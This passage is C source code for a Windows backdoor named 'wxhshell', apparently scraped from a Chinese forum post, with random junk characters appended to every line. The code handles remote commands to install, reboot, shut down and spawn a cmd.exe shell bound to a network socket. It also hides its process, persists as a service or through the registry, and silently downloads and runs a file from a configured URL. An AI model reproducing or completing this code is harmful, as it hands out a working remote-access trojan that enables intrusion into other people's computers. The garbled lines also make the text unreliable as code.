  LhzMAW<L4  
  // 帮助 RA],lNs  
  case '?': { Z~6[ Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o<l 2r  
    break; 3Db3xN  
  } ~P-*}q2J  
  // 安装 ]DvO:tM  
  case 'i': { |2`"1gt  
    if(Install()) H]\Zn%.#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); joa5|t!D9  
    else QM5 .f+/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 85|fyX  
    break; _P,^_%}V06  
    } Te{ *6-gO3  
  // 卸载 BHj\G7,S  
  case 'r': { 6  P`)%zj  
    if(Uninstall()) z *9FlV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DjCx~@  
    else /%n`V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~~F2Ij  
    break; I\Glc=T*  
    } `Zz uo16  
  // 显示 wxhshell 所在路径 ;pJ2V2 g8  
  case 'p': { ogeL[7  
    char svExeFile[MAX_PATH]; /}5B&TZ=(3  
    strcpy(svExeFile,"\n\r");  T7$S_  
      strcat(svExeFile,ExeFile); V5D2\n3A  
        send(wsh,svExeFile,strlen(svExeFile),0); wU`!B<,j  
    break; yg;_.4TpIO  
    } TNY4z(r  
  // 重启 *zVvQ=  
  case 'b': { yPu4T6Vv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ( 0Naf  
    if(Boot(REBOOT)) J?n<ydZSH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zt@Z=r:&  
    else { -Dzsa  
    closesocket(wsh); f+Dn9t  
    ExitThread(0); .G>t72DpU  
    } =y%rG :!  
    break; ] c}91  
    } !asqr1/  
  // 关机 5IqQ|/m<6  
  case 'd': { fT Y/4(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wk\L*\@Y}  
    if(Boot(SHUTDOWN)) % do1i W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h4fLl3%H  
    else { pKJK9@Ad  
    closesocket(wsh); LD(C\  
    ExitThread(0); V/"}ku  
    } TSL9ax4j  
    break; 7\/5r.  
    } 4p)e}W*  
  // 获取shell $E(XjuS  
  case 's': { uCzii o`S  
    CmdShell(wsh); Y:x/!-  
    closesocket(wsh); V*65b(q)  
    ExitThread(0); AxCI 0  
    break; 0y %L-:/c|  
  } *]s&8/Gmb  
  // 退出 ';RI7)<  
  case 'x': { h3Fo-]0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )QY![&k}1z  
    CloseIt(wsh); tSv0" L  
    break; en9en=n|  
    } _$/ +D:K  
  // 离开 IS]{}Y\3H  
  case 'q': { <%bw/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _zC (J  
    closesocket(wsh); (TSqc5^H  
    WSACleanup(); ~!+h?[miV  
    exit(1); \&A+s4c")  
    break; w@]jpH;WX  
        } mVm4fHEYwU  
  } IlLn4Iw  
  } <>4!XPo%J  
;R[&pDx  
  // 提示信息 Q!CO0w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ly (P=M>"y  
} BSXdvI1y  
  } +lp{#1q0  
~v: #zU  
  return; {^&@g kYY  
}  pbB2wt  
\~"#ld(x7  
// shell模块句柄 6w#nkF  
int CmdShell(SOCKET sock) [}""@?  
{ ,5-Zb3\  
STARTUPINFO si; ?ow'^X-  
ZeroMemory(&si,sizeof(si)); PM~*|(fA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aIGn9:\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _J"mR]I+  
PROCESS_INFORMATION ProcessInfo; &?a.mh/8[[  
char cmdline[]="cmd"; W\ULUK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mf*Nr0L;J  
  return 0; R40W'N 1%q  
} G8NRj9k?  
zg]Drm  
// 自身启动模式 zW'/2W.  
int StartFromService(void) 4DML  
{ z Bf;fi  
typedef struct  *q"G }  
{ -qn[HXq  
  DWORD ExitStatus; ~%aJFs  
  DWORD PebBaseAddress; q]v,  
  DWORD AffinityMask; ,OBQv.D3>a  
  DWORD BasePriority; t* z'c  
  ULONG UniqueProcessId; 5upShtC  
  ULONG InheritedFromUniqueProcessId; 4%bTj,H#  
}   PROCESS_BASIC_INFORMATION; I #l;~a<9z  
>_#)3K1y8  
PROCNTQSIP NtQueryInformationProcess; g.*&BXZi  
P06 . 1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (Nt[v;BnO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D=w9cKa  
9H$g?';  
  HANDLE             hProcess; A#:8X1w  
  PROCESS_BASIC_INFORMATION pbi; 5fq.*1f  
cqg=8$RB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); my[,w$YM  
  if(NULL == hInst ) return 0; 'jbMTI  
RV]a%mVlM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BD1K H;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7&t~R}&|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &|,s{?z2  
%<S7  
  if (!NtQueryInformationProcess) return 0; -><QFJ  
;qVG \wQq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T5{T[YdX<  
  if(!hProcess) return 0; >40 GP#Vz  
Gmgeve  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ||gEs/6-  
IuKnM`X  
  CloseHandle(hProcess); K50t%yu#T]  
nL\ZId  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =|# w.(3y  
if(hProcess==NULL) return 0; -y<x!61  
rIp'vy S\p  
HMODULE hMod; gN\*Y  
char procName[255]; qnTi_c  
unsigned long cbNeeded; `Of[{.Q  
6BPAux.]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NV(fN-L  
R8{e&n PE  
  CloseHandle(hProcess); b60[({A\s&  
b#}t:yy  
if(strstr(procName,"services")) return 1; // 以服务启动 _s@bz|yqw  
(l;C%O7*  
  return 0; // 注册表启动 YZ{jP?x  
} \vs%U}IrO  
T"A^[ r*  
// 主模块 t!l/`e%J  
int StartWxhshell(LPSTR lpCmdLine) wjg}[R@!  
{ ${0%tCE  
  SOCKET wsl; y$v@wb5  
BOOL val=TRUE; 6o9sR)c ?  
  int port=0; XL?A w  
  struct sockaddr_in door; oEPNN'~3  
E.4n}s  
  if(wscfg.ws_autoins) Install(); <q1'Li)_R  
k{qLkcOg=  
port=atoi(lpCmdLine); \ j x0ZHR  
@!-aR u  
if(port<=0) port=wscfg.ws_port; _H/67dcz,  
UJ9q-r  
  WSADATA data; dRM5urR6,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SDJ;*s-  
eTT^KqE>&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +Gp!cGaAm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s.bT[0Vl  
  door.sin_family = AF_INET; @qpYDnJ:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JYl\<Z' {  
  door.sin_port = htons(port); +0dQORo  
O '@m4@L   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0\ZaMu #  
closesocket(wsl); wFn@\3%l`  
return 1; ^$8Vh =D  
} `Q+i-y  
>9(7h&[Y  
  if(listen(wsl,2) == INVALID_SOCKET) {  =05iW  
closesocket(wsl); w64.R4e  
return 1; A/ hpY a  
} u% r!?-z  
  Wxhshell(wsl); nh?9R&  
  WSACleanup(); 4*YOFU}l  
.O;!W<Ef$  
return 0; *EX$v4BX  
1Q0%7zRirI  
} li1v 4  
$:PF9pY(  
// 以NT服务方式启动 nq),VPJi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9PUa?Bc`=  
{ v hR twi  
DWORD   status = 0; K`,nW6\  
  DWORD   specificError = 0xfffffff; (q~R5)D  
5>N6VeM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P}+2>EU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bmi:2} j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JgxE|#*7U  
  serviceStatus.dwWin32ExitCode     = 0; L,yA<yrC  
  serviceStatus.dwServiceSpecificExitCode = 0; 'E@2I9Kj  
  serviceStatus.dwCheckPoint       = 0; @*bvMEE  
  serviceStatus.dwWaitHint       = 0; Zm`'MsgFr  
C,9)V5!tP2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B#| Z`mZ  
  if (hServiceStatusHandle==0) return; :Pj W:]  
$^!a`Xr  
status = GetLastError(); u'#`yTB6b  
  if (status!=NO_ERROR) uDpf2(>s  
{ 87&KQ_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |E"Xavi>  
    serviceStatus.dwCheckPoint       = 0; }g%KvYB_  
    serviceStatus.dwWaitHint       = 0; _ .-o%6  
    serviceStatus.dwWin32ExitCode     = status; u-8X$aJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; )[e%wPu4e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZTN:|IKT  
    return; W\nHX I  
  } L7i}Ga!8  
16a_GwfM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E \ K  
  serviceStatus.dwCheckPoint       = 0; E`A<]dAoK  
  serviceStatus.dwWaitHint       = 0; Wg}B@:`T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =}B4I  
} P@^z:RS*{  
7Qm;g-)f  
// 处理NT服务事件,比如:启动、停止 ~ >&I^4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E.?E~}z  
{ \f8P`oET~  
switch(fdwControl) Ib_n'$5#z  
{  #a|6Q 8  
case SERVICE_CONTROL_STOP: [] GthF  
  serviceStatus.dwWin32ExitCode = 0; j CTQ sV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^4y(pcD  
  serviceStatus.dwCheckPoint   = 0; [Ihp\!xqI  
  serviceStatus.dwWaitHint     = 0; I}6DoLbV  
  { |V5$'/Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q[PD  
  } 2P;%P]~H  
  return; GI0x>Z+  
case SERVICE_CONTROL_PAUSE: oG4w8+N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S3j]{pZ(z  
  break; R@)'Bs  
case SERVICE_CONTROL_CONTINUE: hj[+d%YZY"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Oz4,Y+[#  
  break; c9Y2eetO  
case SERVICE_CONTROL_INTERROGATE: mB{&7Rb0  
  break; *" |VNnB  
}; W\ 1bE(AwZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o<C]+Nt,@  
} |_hioMVz  
 ~ LJ>WA  
// 标准应用程序主函数 !=~s/{$PE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .}L-c>o"o  
{ el2*\(XT  
)OW(T^>_'I  
// 获取操作系统版本 CjC'"+[w  
OsIsNt=GetOsVer(); Gvt;Q,hH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y(aAp.S>  
jc%{a*n"vr  
  // 从命令行安装 :Y}Y&mA4  
  if(strpbrk(lpCmdLine,"iI")) Install(); dy2_@/T7  
pmow[e  
  // 下载执行文件 AF9[2AH=Y  
if(wscfg.ws_downexe) { Mp^OL7p^^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  #{)r*"%  
  WinExec(wscfg.ws_filenam,SW_HIDE); pJ 2:` f<;  
} v&[X&Hu[  
F #!@}K8  
if(!OsIsNt) { =|qt!gY)Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]Omb :  
HideProc(); <WQ<<s@#pb  
StartWxhshell(lpCmdLine); q 2_N90u  
} &viwo}ls0  
else %v`-uAy:  
  if(StartFromService()) uv~qK:Nw(  
  // 以服务方式启动 yL.PGF1(  
  StartServiceCtrlDispatcher(DispatchTable); U- *8%>Qp  
else xzMeKC `  
  // 普通方式启动 ^hl]s?"3  
  StartWxhshell(lpCmdLine); yKe*<\  
Th& Wq  
return 0; ?'ez.a}  
}
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只看该作者 1 发表于: 2006-10-10
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